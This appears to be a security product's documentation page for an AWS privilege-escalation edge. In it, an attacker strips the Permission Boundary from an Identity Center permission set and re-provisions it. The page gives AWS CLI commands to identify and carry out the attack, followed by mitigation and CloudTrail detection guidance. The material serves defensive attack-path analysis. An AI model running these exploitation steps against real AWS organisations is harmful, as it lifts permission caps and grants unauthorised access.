> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_sso_delete_permission_boundary.md).

# AWS\_SSO\_DELETE\_PERMISSION\_BOUNDARY

## Summary

|                            |                                                                                |
| -------------------------- | ------------------------------------------------------------------------------ |
| **Forestall ACL Alias**    | AWS\_SSO\_DELETE\_PERMISSION\_BOUNDARY                                         |
| **Affected Object Types**  | `AWSIAMUser\|AWSIAMRole\|AWSIAMGroup → AWSPermissionSet`                       |
| **Exploitation Certainty** | High                                                                           |
| **AWS IAM Action**         | `sso:DeletePermissionBoundaryFromPermissionSet` + `sso:ProvisionPermissionSet` |

## Description

> **Account gate:** This edge is only emitted for IAM principals that reside in the Organizations **management account** or an IAM Identity Center **delegated-administrator account** (service principal `sso.amazonaws.com`). Principals in any other member account receive `AccessDenied` from all SSO Admin APIs regardless of their IAM permissions.

An attacker with `sso:DeletePermissionBoundaryFromPermissionSet` and `sso:ProvisionPermissionSet` can remove the Permission Boundary attached to a target Permission Set. Permission Boundaries are a hard cap on effective permissions. Removing one lifts all the restrictions it imposed, and every principal holding that Permission Set gains the full scope of their attached policies.

**Edge semantics:** `(Attacker:AWSIAMUser|AWSIAMRole|AWSIAMGroup) -[AWS_SSO_DELETE_PERMISSION_BOUNDARY]-> (Target:AWSPermissionSet)`

Precondition: the target Permission Set must have at least one account assignment (`poisonablePsGuids`); without an assignment, provisioning has no effect.

## Identification

```bash
# View the permission boundary of a permission set
aws sso-admin get-permissions-boundary-for-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Check if the attacker has the required permissions
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:DeletePermissionBoundaryFromPermissionSet sso:ProvisionPermissionSet \
  --resource-arns "*"

# List account assignments
aws sso-admin list-account-assignments \
  --instance-arn <instance-arn> \
  --account-id <account-id> \
  --permission-set-arn <permission-set-arn>
```

## Exploitation

```bash
# Step 1: Delete the Permission Boundary from the permission set
aws sso-admin delete-permissions-boundary-from-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Step 2: Re-provision to propagate the change to all assigned accounts
aws sso-admin provision-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --target-type ALL_PROVISIONED_ACCOUNTS
```

## Mitigation

* Restrict `sso:DeletePermissionBoundaryFromPermissionSet` and `sso:ProvisionPermissionSet` to dedicated Identity Center administrator roles.
* Layer SCPs on top of Permission Boundaries. If a boundary is removed, SCP-level restrictions still hold.
* Alert immediately on any `DeletePermissionBoundaryFromPermissionSet` event in CloudTrail.
* Periodically audit all Permission Sets with sensitive assignments to confirm they have active Permission Boundaries.
* Require multi-party approval for Permission Set boundary changes through an infrastructure-as-code pipeline.

## Detection

| CloudTrail Event                            | Description                                               | Key Fields                                                                               |
| ------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| `DeletePermissionBoundaryFromPermissionSet` | The Permission Boundary was removed from a Permission Set | `requestParameters.permissionSetArn`, `userIdentity.arn`                                 |
| `ProvisionPermissionSet`                    | The Permission Set was re-provisioned to accounts         | `requestParameters.permissionSetArn`, `requestParameters.targetType`, `userIdentity.arn` |

Alert immediately on any `DeletePermissionBoundaryFromPermissionSet` event for Permission Sets assigned to accounts with sensitive workloads. Also alert when provisioning follows within a short window.

## References

* [HackTricks: AWS SSO & IAM Identity Center Privilege Escalation](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc)
* [AWS SSO Admin API: DeletePermissionsBoundaryFromPermissionSet](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_DeletePermissionsBoundaryFromPermissionSet.html)
* [AWS SSO Admin API: ProvisionPermissionSet](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_ProvisionPermissionSet.html)
* [AWS IAM: Permission Boundaries](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html)
